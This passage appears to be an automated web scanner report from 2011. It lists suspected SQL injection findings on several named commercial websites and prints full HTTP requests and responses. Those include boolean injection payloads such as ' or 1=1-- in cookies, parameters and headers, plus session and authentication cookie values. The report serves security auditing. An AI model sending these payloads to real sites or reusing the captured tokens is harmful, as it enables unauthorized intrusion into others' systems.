Set-Cookie: WC_GENERIC_ACTIVITYDATA=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/
Set-Cookie: WC_AUTHENTICATION_100000002779947=100000002779947%2cPZvqRyizGd2TwKh4uvYxAABNDeI%3d; Path=/; Secure
Set-Cookie: WC_USERACTIVITY_100000002779947=100000002779947%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnUH1mjvuHvY0f2KZJrwddFUcpeNVAwyGbYPUti77m6QZuGMaOTaY9G7plcpovAg5AI8tQelNpkxR%0acg9iE8GDQh%2fFAN%2fo7ZGggHrAZ5zylN2TZROsW3rc3ObppT%2borsgqYZ95B2zBQaIcEt3972Ap25XX%0aPrYeGyaa; Path=/
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 2080



...[SNIP]...

1.6. https://secure.identityguard.com/webapp/wcs/stores/servlet/INTXEnrollSessionTimeout [WC_GENERIC_ACTIVITYDATA cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	https://secure.identityguard.com
Path:	/webapp/wcs/stores/servlet/INTXEnrollSessionTimeout

Issue detail

The WC_GENERIC_ACTIVITYDATA cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the WC_GENERIC_ACTIVITYDATA cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /webapp/wcs/stores/servlet/INTXEnrollSessionTimeout HTTP/1.1
Host: secure.identityguard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000NAoPInZyy4gzsvmSvaSl9un:14glhsrp2; WC_AUTHENTICATION_-1002=%2d1002%2cXDUBvgNLbZN0%2fMz%2biC6eCYA8Aqc%3d; WC_USERACTIVITY_100000002776876=DEL; __utmz=242046173.1303614598.1.1.utmcsr=Next|utmccn=(not%20set)|utmcmd=affiliates; WC_SESSION_ESTABLISHED=true; CoreID6=87049420402113036145977&ci=90226925; cmTPSet=Y; WC_GENERIC_ACTIVITYDATA=[17525396%3atrue%3afalse%3a0%3asaFHO%2fgFArjbcjFvy3NRAb0mkB4%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|null%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]'; __utma=242046173.2037034150.1303614598.1303614598.1303614598.1; __utmc=242046173; REFERRER=http://www.identityguard.com/ipages/le4/letp30daysfree1.html?mktp=Next&utm_medium=affiliates&hid=205557649&campid=13&c1=id4+106163471CD1&c2=CD1&cenhp1=1; __utmb=242046173.7.10.1303614598; WC_AUTHENTICATION_100000002776876=DEL; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2c0%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cVz%2fAitjOs4I2cdO%2bxoqprV%2blaSQkpnVQwa2wezkIGTw80PvmDFUxMbp8A2zNavPmZ2DY1XZU27aS%0aoHvsS72xgR%2bERpXFUKcYCLnTfUBbH7JTkS4fgthPFj95qXChOpWj9DsXavyhZFM%3d; 90226925_clogin=l=1303615928&v=33&e=1303616828151;

Response 1

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:56:39 GMT
Server: Apache/2.2.0 (Fedora)
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=0000uJa67_lUOt9aqYJnR8kquHD:14glhsrp2; Path=/
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 1895

<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml" lan
...[SNIP]...
<title>Error Has Occurred</title>
...[SNIP]...

Request 2

GET /webapp/wcs/stores/servlet/INTXEnrollSessionTimeout HTTP/1.1
Host: secure.identityguard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000NAoPInZyy4gzsvmSvaSl9un:14glhsrp2; WC_AUTHENTICATION_-1002=%2d1002%2cXDUBvgNLbZN0%2fMz%2biC6eCYA8Aqc%3d; WC_USERACTIVITY_100000002776876=DEL; __utmz=242046173.1303614598.1.1.utmcsr=Next|utmccn=(not%20set)|utmcmd=affiliates; WC_SESSION_ESTABLISHED=true; CoreID6=87049420402113036145977&ci=90226925; cmTPSet=Y; WC_GENERIC_ACTIVITYDATA=[17525396%3atrue%3afalse%3a0%3asaFHO%2fgFArjbcjFvy3NRAb0mkB4%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|null%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]''; __utma=242046173.2037034150.1303614598.1303614598.1303614598.1; __utmc=242046173; REFERRER=http://www.identityguard.com/ipages/le4/letp30daysfree1.html?mktp=Next&utm_medium=affiliates&hid=205557649&campid=13&c1=id4+106163471CD1&c2=CD1&cenhp1=1; __utmb=242046173.7.10.1303614598; WC_AUTHENTICATION_100000002776876=DEL; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2c0%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cVz%2fAitjOs4I2cdO%2bxoqprV%2blaSQkpnVQwa2wezkIGTw80PvmDFUxMbp8A2zNavPmZ2DY1XZU27aS%0aoHvsS72xgR%2bERpXFUKcYCLnTfUBbH7JTkS4fgthPFj95qXChOpWj9DsXavyhZFM%3d; 90226925_clogin=l=1303615928&v=33&e=1303616828151;

Response 2

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:56:39 GMT
Server: Apache/2.2.0 (Fedora)
Pragma: no-cache
Cache-Control: no-store, no-cache
Expires: now
Set-Cookie: JSESSIONID=0000tQSX-8r4T5zCUYwAhnzAk4w:14glhsrp2; Path=/
Set-Cookie: WC_AUTHENTICATION_-1002=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/; Secure
Set-Cookie: WC_USERACTIVITY_-1002=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/
Set-Cookie: WC_GENERIC_ACTIVITYDATA=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/
Set-Cookie: WC_AUTHENTICATION_100000002779552=100000002779552%2cMGpFAt%2f%2fjyExX1W4q4Lgn57BZxk%3d; Path=/; Secure
Set-Cookie: WC_USERACTIVITY_100000002779552=100000002779552%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnUH1mjvuHva%2fzzlX%2bEuJtAn3DpWKN4df6cLICQD2R8plw%2b40R5bf3lwaxFNQXiRFInsQBUaNGByC%0aGE23KSdo1zZQc%2fdYc86o%2fhfLeWmI2b3QEIv7bb522VpFlPbMgOpGTin5qndfbg9zDXy6ryUvZkjP%0a4wU1D87s; Path=/
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 8623

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">



...[SNIP]...

1.7. https://secure.identityguard.com/webapp/wcs/stores/servlet/INTXStreamlinedOfferDetails [WC_GENERIC_ACTIVITYDATA cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	https://secure.identityguard.com
Path:	/webapp/wcs/stores/servlet/INTXStreamlinedOfferDetails

Issue detail

The WC_GENERIC_ACTIVITYDATA cookie appears to be vulnerable to SQL injection attacks. The payloads 12073566'%20or%201%3d1--%20 and 12073566'%20or%201%3d2--%20 were each submitted in the WC_GENERIC_ACTIVITYDATA cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /webapp/wcs/stores/servlet/INTXStreamlinedOfferDetails HTTP/1.1
Host: secure.identityguard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000NAoPInZyy4gzsvmSvaSl9un:14glhsrp2; WC_AUTHENTICATION_-1002=%2d1002%2cXDUBvgNLbZN0%2fMz%2biC6eCYA8Aqc%3d; WC_USERACTIVITY_100000002776876=DEL; __utmz=242046173.1303614598.1.1.utmcsr=Next|utmccn=(not%20set)|utmcmd=affiliates; WC_SESSION_ESTABLISHED=true; CoreID6=87049420402113036145977&ci=90226925; cmTPSet=Y; WC_GENERIC_ACTIVITYDATA=[17525396%3atrue%3afalse%3a0%3asaFHO%2fgFArjbcjFvy3NRAb0mkB4%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|null%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]12073566'%20or%201%3d1--%20; __utma=242046173.2037034150.1303614598.1303614598.1303614598.1; __utmc=242046173; REFERRER=http://www.identityguard.com/ipages/le4/letp30daysfree1.html?mktp=Next&utm_medium=affiliates&hid=205557649&campid=13&c1=id4+106163471CD1&c2=CD1&cenhp1=1; __utmb=242046173.7.10.1303614598; WC_AUTHENTICATION_100000002776876=DEL; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2c0%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cVz%2fAitjOs4I2cdO%2bxoqprV%2blaSQkpnVQwa2wezkIGTw80PvmDFUxMbp8A2zNavPmZ2DY1XZU27aS%0aoHvsS72xgR%2bERpXFUKcYCLnTfUBbH7JTkS4fgthPFj95qXChOpWj9DsXavyhZFM%3d; 90226925_clogin=l=1303615928&v=33&e=1303616828151;

Response 1

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:55:48 GMT
Server: Apache/2.2.0 (Fedora)
Pragma: no-cache
Cache-Control: no-store, no-cache
Expires: now
Set-Cookie: JSESSIONID=0000q-nYx1Keu7bJfsO0pBizt3b:14glhsrp2; Path=/
Set-Cookie: WC_AUTHENTICATION_-1002=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/; Secure
Set-Cookie: WC_USERACTIVITY_-1002=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/
Set-Cookie: WC_GENERIC_ACTIVITYDATA=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/
Set-Cookie: WC_AUTHENTICATION_100000002779552=100000002779552%2cvn9MxBC72fZz%2bUVJP6VcyVle00I%3d; Path=/; Secure
Set-Cookie: WC_USERACTIVITY_100000002779552=100000002779552%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnUH1mjvuHva%2fzzlX%2bEuJtAn3DpWKN4df6cLICQD2R8plw%2b40R5bf3lwaxFNQXiRFInsQBUaNGByC%0aGE23KSdo1zZQc%2fdYc86o%2fhfLeWmI2b3QEIv7bb522VpFlPbMgOpGTin5qndfbg9zDXy6ryUvZkjP%0a4wU1D87s; Path=/
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Language: en-US
Content-Length: 1903

<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml" lang="en-US"><head>

   <title>Error Has Occurred</title>
   <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
   <link rel="Shortcut Icon" href="/wcsstore/IdentityGuardStorefrontAssetStore/images/favicon.ico">
   <link href="/wcsstore/IdentityGuardStorefrontAssetStore/css/checkout.css" rel="stylesheet" type="text/css">
   <script src="/wcsstore/IdentityGuardStorefrontAssetStore/javascript/jquery_002.js" type="text/javascript"></script>
   <script src="/wcsstore/IdentityGuardStorefrontAssetStore/javascript/jquery.js" type="text/javascript"></script>
   <script src="/wcsstore/IdentityGuardStorefrontAssetStore/javascript/common.js" type="text/javascript"></script>
</head><div FirebugVersion="1.3.3" style="display: none;" id="_firebugConsole"></div>
<body class="checkout">

<div id="header_wrapper">

   <div id="header">

   </div>

</div><!--/#header_wrap
...[SNIP]...

Request 2

GET /webapp/wcs/stores/servlet/INTXStreamlinedOfferDetails HTTP/1.1
Host: secure.identityguard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000NAoPInZyy4gzsvmSvaSl9un:14glhsrp2; WC_AUTHENTICATION_-1002=%2d1002%2cXDUBvgNLbZN0%2fMz%2biC6eCYA8Aqc%3d; WC_USERACTIVITY_100000002776876=DEL; __utmz=242046173.1303614598.1.1.utmcsr=Next|utmccn=(not%20set)|utmcmd=affiliates; WC_SESSION_ESTABLISHED=true; CoreID6=87049420402113036145977&ci=90226925; cmTPSet=Y; WC_GENERIC_ACTIVITYDATA=[17525396%3atrue%3afalse%3a0%3asaFHO%2fgFArjbcjFvy3NRAb0mkB4%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|null%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]12073566'%20or%201%3d2--%20; __utma=242046173.2037034150.1303614598.1303614598.1303614598.1; __utmc=242046173; REFERRER=http://www.identityguard.com/ipages/le4/letp30daysfree1.html?mktp=Next&utm_medium=affiliates&hid=205557649&campid=13&c1=id4+106163471CD1&c2=CD1&cenhp1=1; __utmb=242046173.7.10.1303614598; WC_AUTHENTICATION_100000002776876=DEL; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2c0%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cVz%2fAitjOs4I2cdO%2bxoqprV%2blaSQkpnVQwa2wezkIGTw80PvmDFUxMbp8A2zNavPmZ2DY1XZU27aS%0aoHvsS72xgR%2bERpXFUKcYCLnTfUBbH7JTkS4fgthPFj95qXChOpWj9DsXavyhZFM%3d; 90226925_clogin=l=1303615928&v=33&e=1303616828151;

Response 2

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:55:48 GMT
Server: Apache/2.2.0 (Fedora)
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=0000R8n5buLhPWRVJFBeDw83q96:14glhsrp2; Path=/
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 1895

<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml" lang="en-US"><head>

   <title>Error Has Occurred</title>
   <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
   <link rel="Shortcut Icon" href="/wcsstore/IdentityGuardStorefrontAssetStore/images/favicon.ico">
   <link href="/wcsstore/IdentityGuardStorefrontAssetStore/css/checkout.css" rel="stylesheet" type="text/css">
   <script src="/wcsstore/IdentityGuardStorefrontAssetStore/javascript/jquery_002.js" type="text/javascript"></script>
   <script src="/wcsstore/IdentityGuardStorefrontAssetStore/javascript/jquery.js" type="text/javascript"></script>
   <script src="/wcsstore/IdentityGuardStorefrontAssetStore/javascript/common.js" type="text/javascript"></script>
</head><div FirebugVersion="1.3.3" style="display: none;" id="_firebugConsole"></div>
<body class="checkout">

<div id="header_wrapper">

   <div id="header">

   </div>

</div>

<div id="container_wrapper">
   <div id="container">
       <div id="content">

           <div id="error_page">
               <h2 class="step">Error</h2>
               <p><strong>We're sorry, an error has occured.</strong> Please try again later or call Customer Service toll-free at 1-800-452-2541.</p>
               <p class="continue"><a href="http://www.identityguard.com/"><img src="/wcsstore/IdentityGuardStorefrontAssetStore/images/continue.gif" alt="Continue"></a></p>
           </div>

       </div>

       <div id="sidebar">
            
       </div>

       <div class="clear"> </div>

   </div>
</div>

<div id="footer_wra
...[SNIP]...

1.8. http://www.freecreditscore.com/dni/default.aspx [PageTypeID parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.freecreditscore.com
Path:	/dni/default.aspx

Issue detail

The PageTypeID parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the PageTypeID parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /dni/default.aspx?PageTypeID=HomePage21'&SiteVersionID=932&SiteID=100323&sc=671212&bcd= HTTP/1.1
Host: www.freecreditscore.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: MachineName=IRC-P2WEB-07; OriginalReferrer=; NavigationPath=default; LastVisitDate=4/24/2011 12:44:36 PM; NavFlowID=; NumTrialDaysLeft=; UID=dfa29d439e60422e86d8462241524cd1; ASP.NET_SessionId=z5w0c1552jmahb45v4wnxt3b; BIGipServerfreecreditscore-web-pool=174804490.19999.0000

Response 1

HTTP/1.1 302 Found
Connection: keep-alive
Date: Sun, 24 Apr 2011 19:56:18 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Location: /dni/Error.html?aspxerrorpath=/dni/default.aspx
Set-Cookie: NavigationPath=default+s_code.axd+default; domain=www.freecreditscore.com; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/dni/
Set-Cookie: LastVisitDate=4/24/2011 12:56:18 PM; domain=www.freecreditscore.com; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/dni/
Content-Type: text/html; charset=utf-8
Content-Length: 164
Cache-Control: private
X-PvInfo: [S10203.C70872.A70594.RA0.G11457.U10300F0D].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href='/dni/Error.html?aspxerrorpath=/dni/default.aspx'>here</a>.</h2>
</body></html>

Request 2

GET /dni/default.aspx?PageTypeID=HomePage21''&SiteVersionID=932&SiteID=100323&sc=671212&bcd= HTTP/1.1
Host: www.freecreditscore.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: MachineName=IRC-P2WEB-07; OriginalReferrer=; NavigationPath=default; LastVisitDate=4/24/2011 12:44:36 PM; NavFlowID=; NumTrialDaysLeft=; UID=dfa29d439e60422e86d8462241524cd1; ASP.NET_SessionId=z5w0c1552jmahb45v4wnxt3b; BIGipServerfreecreditscore-web-pool=174804490.19999.0000

Response 2

HTTP/1.1 302 Found
Connection: keep-alive
Date: Sun, 24 Apr 2011 19:56:20 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Location: /dni/default.aspx?PageTypeID=HomePage21&SiteVersionID=932&SiteID=100323&sc=671212&bcd=
Set-Cookie: NavigationPath=default+s_code.axd+default; domain=www.freecreditscore.com; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/dni/
Set-Cookie: LastVisitDate=4/24/2011 12:56:20 PM; domain=www.freecreditscore.com; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/dni/
Content-Type: text/html; charset=utf-8
Content-Length: 219
Cache-Control: private
X-PvInfo: [S10203.C70872.A70594.RA0.G11457.U90815149].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href='/dni/default.aspx?PageTypeID=HomePage21&SiteVersionID=932&SiteID=100323&sc=671212&bcd='>here</a>.</h2
...[SNIP]...

1.9. http://www.hotelclub.com/ [Referer HTTP header] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.hotelclub.com
Path:	/

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET / HTTP/1.1
Host: www.hotelclub.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Referer: http://www.google.com/search?hl=en&q='

Response 1

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/6.0
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
X-Powered-By: ASP.NET
ntCoent-Length: 15330
Content-Type: text/html; Charset=windows-1252
Expires: Sun, 24 Apr 2011 13:12:24 GMT
Cache-Control: private
Vary: Accept-Encoding
Date: Sun, 24 Apr 2011 13:13:25 GMT
Connection: close
Set-Cookie: anon=47837466001520110424230132; expires=Sun, 31-Dec-2034 13:00:00 GMT; path=/
Set-Cookie: ASPSESSIONIDCCQRQCTQ=EJPPCPBAEFOGKJENLHANBPKN; path=/
Set-Cookie: NSC_JOj4vajjejllb1veb0r04rbl5rcbheu=ffffffff09d7273245525d5f4f58455e445a4a422974;path=/;httponly
Content-Length: 15330

<html>
<head>

<title>Under Maintenance</title>
<meta name=robots content=noindex,nofollow>
<meta name='DCSext.er' content="500;100"/>

<link rel="stylesheet" id="main-css" href="/Pri
...[SNIP]...

Request 2

Response 2

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
X-Powered-By: ASP.NET
Pragma: no-cache
Cache-Control: private,must-revalidate, no-store, no-cache,pre-check=0, post-check=0, max-age=0, max-stale = 0
Cteonnt-Length: 232749
Content-Type: text/html; Charset=windows-1252
Expires: Sat, 23 Apr 2011 13:13:26 GMT
Cache-Control: private,must-revalidate, no-store, no-cache,pre-check=0, post-check=0, max-age=0, max-stale = 0
Vary: Accept-Encoding
Date: Sun, 24 Apr 2011 13:13:26 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: HTC=AppVer=1%2E0; path=/
Set-Cookie: AffiliateLogID=%2D1963682291; expires=Mon, 23-May-2011 14:00:00 GMT; path=/
Set-Cookie: anon=58210390806120110424230132; expires=Sun, 31-Dec-2034 13:00:00 GMT; path=/
Set-Cookie: ASPSESSIONIDQSSAQDRQ=GADPBCECLCOALKJPEFJPNLOE; path=/
Set-Cookie: NSC_JOj4vajjejllb1veb0r04rbl5rcbheu=ffffffff09d7273c45525d5f4f58455e445a4a422974;path=/;httponly
Content-Length: 232749

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html dir="ltr" lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml">

...[SNIP]...

1.10. http://www.nextadvisor.com/link.php [__utma cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.nextadvisor.com
Path:	/link.php

Issue detail

The __utma cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utma cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /link.php?kw=gid9a%20identity%20theft%20resource_ordering34&category=identitytheft&link=idtheftshield&id=227 HTTP/1.1
Host: www.nextadvisor.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=ca43057bfb377bbe8c129dafe1c6ec28; __utmz=252293142.1303613812.1.1.utmgclid=CJa0kuyTtKgCFQTe4AodlRiOCw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=252293142.2039271104.1303613812.1303613812.1303613812.1'; __utmc=252293142; __utmb=252293142.1.10.1303613812

Response 1 (redirected)

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 03:20:05 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.7e PHP/5.3.2 mod_jk/1.2.21
X-Powered-By: PHP/5.3.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 51922

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta name="msvalidate.01
...[SNIP]...
</strong> Affordable web host for intermediate users, though installation problems; no domain privacy and advertising on error pages are drawbacks</div>
...[SNIP]...

Request 2

GET /link.php?kw=gid9a%20identity%20theft%20resource_ordering34&category=identitytheft&link=idtheftshield&id=227 HTTP/1.1
Host: www.nextadvisor.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=ca43057bfb377bbe8c129dafe1c6ec28; __utmz=252293142.1303613812.1.1.utmgclid=CJa0kuyTtKgCFQTe4AodlRiOCw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=252293142.2039271104.1303613812.1303613812.1303613812.1''; __utmc=252293142; __utmb=252293142.1.10.1303613812

Response 2 (redirected)

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 03:20:08 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.7e PHP/5.3.2 mod_jk/1.2.21
X-Powered-By: PHP/5.3.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 41061

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta name="msvalidate.01
...[SNIP]...

2. File path traversal previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.nextadvisor.com
